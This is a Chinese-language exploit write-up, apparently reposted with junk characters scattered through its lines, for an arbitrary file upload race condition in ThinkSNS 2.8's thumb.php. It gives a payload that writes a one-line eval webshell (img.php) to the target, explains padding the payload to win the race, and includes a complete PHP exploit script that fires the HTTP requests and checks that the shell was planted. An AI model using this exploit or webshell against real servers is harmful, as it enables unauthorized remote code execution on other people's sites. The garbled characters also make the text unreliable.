漏洞版本0 O7 I4 E$ R7 w6 H; }
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)- g+ `/ m$ J5 h& b7 D w$ `
漏洞文件' v7 r4 F% z5 d! ^; ?: O
存在漏洞的文件为:thumb.php: A, r ^: a6 i3 T3 ~" h
作者:韦鲲鹏
' j1 l9 e* P3 w1、 准备如下PHP文件并上传到服务器(自己的)。
% c0 T+ H1 ~* I' A. }6 X- }/ ^文件内容如下:% F0 b9 t& X* g D+ u" F& D6 ?
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
3 J8 h/ F9 o8 c$ i, w' |2、 计算出临时的文件名:+ q) F! b# h9 o3 ^! B; v
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
8 }' D2 w( u: J" L- A9 ?7 ^! Z
, v2 x+ Y8 a/ ^3、 上传临时文件。
2 M& j& ]) Q% ?4 H) y( O T6 Q3 r4、 访问临时文件。
( b7 V8 F$ E5 h2 a4 ^# N' O但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)4 I$ B; t% m+ X( X1 ^
Exploit文件内容如下:(这个我就不详细解释了)
- i2 f- _( J1 O6 S) J<?php- F, g: B0 |, d! K
error_reporting(0);, b$ J: I8 z% O. U: O- v3 q
set_time_limit(0);
6 l8 {5 Q0 J5 Z1 |ini_set(“default_socket_timeout”, 5);
$ t* k0 Y4 e+ j* _function http_send($host, $port, $headers) {
' h1 L! O) I7 K% j+ c$fp = fsockopen($host, $port);; {' p8 v& Q4 s9 j! Y
if (!$fp) die(‘Connection -> fail’);: y1 ?' k3 H- G. _4 Q Q" f
fputs($fp, $headers);
5 \; w) y2 ?' K$ @* L9 ~/ }return $fp;% h! j) ?2 I) e/ I) l' t* L8 P8 J
}
9 R0 n. L4 h4 R3 l" Jfunction http_recv($fp) {7 W$ c: M8 h3 g3 G" [* A& N% d0 c
$ret=”";1 f0 e5 w" L: d( j) r. S, W- P
while (!feof($fp))% B8 v/ W8 f+ V1 N. ?* W, g' a3 H
$ret.= fgets($fp, 1024);+ E' O+ K: J7 R: u
fclose($fp);9 k( E9 _ R/ O4 V0 @+ p: z9 E; Y
return $ret;& \1 q$ x2 d$ @) v% n, i G& }
}
W. H' e) D$ V' S7 \print “\n# ThinkSns Arbitrary File Upload #\n”;+ B2 |, ~8 ^2 G+ s4 Q( Z' D* o' G$ R
print “# Discovered by 韦鲲鹏 #\n\n”;1 l- \( K& c- m/ V
if ($argc < 4) {% d2 E7 F. U; ]+ g& m3 t. H4 f
print “Usage: php <host> <path> <romote_url>\n”;; e# H$ h' L/ |4 @& P8 h- Y$ J
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;2 x3 ~+ S: z: P" c
die();
/ n0 ^8 o6 U$ [+ n) H. [9 D}
( }2 k5 z4 _- c- ?( C0 i$host = $argv[1];* v( x1 [% y: q- v3 u0 E c
$path = $argv[2];
& m9 q8 _+ j1 m/ i( N# c$url = $argv[3]; m/ m$ |! U6 y9 T) q5 ?, B' F$ I+ L
$i=0;
* ^+ T+ N& x7 [& C2 `//上传数据包' @( k5 R! `, ~; H; o# n
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
( p5 d7 D: i$ ?- G+ ^% |3 s$headers_up .= “Host: “.$host.”\r\n”;
3 k. {4 n3 T; D( B4 M$headers_up .= “Connection: close\r\n\r\n”;$ N( ? U* @9 @6 L+ T
echo $headers_up;
! B' k- Y& {$ m# C//临时文件访问数据包
8 K3 Q+ [$ G. H0 r0 S$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;% Z. y/ D* y j9 p, t. _
$headers .= “Host: “.$host.”\r\n”;- C& C/ Q& f) ?0 b+ U3 t7 M& ?
$headers .= “Connection: close\r\n\r\n”;9 B0 X) ~1 a% v1 [
echo $headers;
" X5 x4 D0 N- M; Gwhile(++$i<10) {
1 f% ]8 ]9 O' C( y: \* u" c5 K7 v1 {+ rfclose(http_send($host, 80, $headers));
9 X" h5 S! V2 L5 }3 T/ [0 n) ]: R}
" V7 r. d- A" K. j, x9 a! Lfclose(http_send($host, 80, $headers_up));( L0 b* E& ]9 z7 _5 @( Q y2 ^
while(++$i<50) {
4 \5 ^$ l( W. ]8 e8 r7 Jfclose(http_send($host, 80, $headers));: P' h5 P* z1 Y6 J
}
: e: G( W9 E) i' E, A% a$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;; \) K, Q, N9 g' d
$headers .= “Host: “.$host.”\r\n”;
( i8 k! X8 k% `% k2 {' l/ o$headers .= “Connection: close\r\n\r\n”;0 n% y3 @, X/ S. e: j+ d3 d* ~0 i
$res=http_recv(http_send($host, 80, $headers));( I" h2 i. v4 D S. Z2 ?3 V1 n& D; c
if(preg_match(‘/200 OK/’,$res)) {3 R% h. y m+ H, \( C$ p* C
print “Success!\n\n”;2 N( p7 ]% u1 \
} else {
, u! y, k% R' o5 Z$ m, pprint “Fail!\n\n”;
2 l0 k! v" z9 j! z2 [3 \}% j6 i( U! X' X4 y$ e& F7 A
?>
4 }" \2 X; T, k |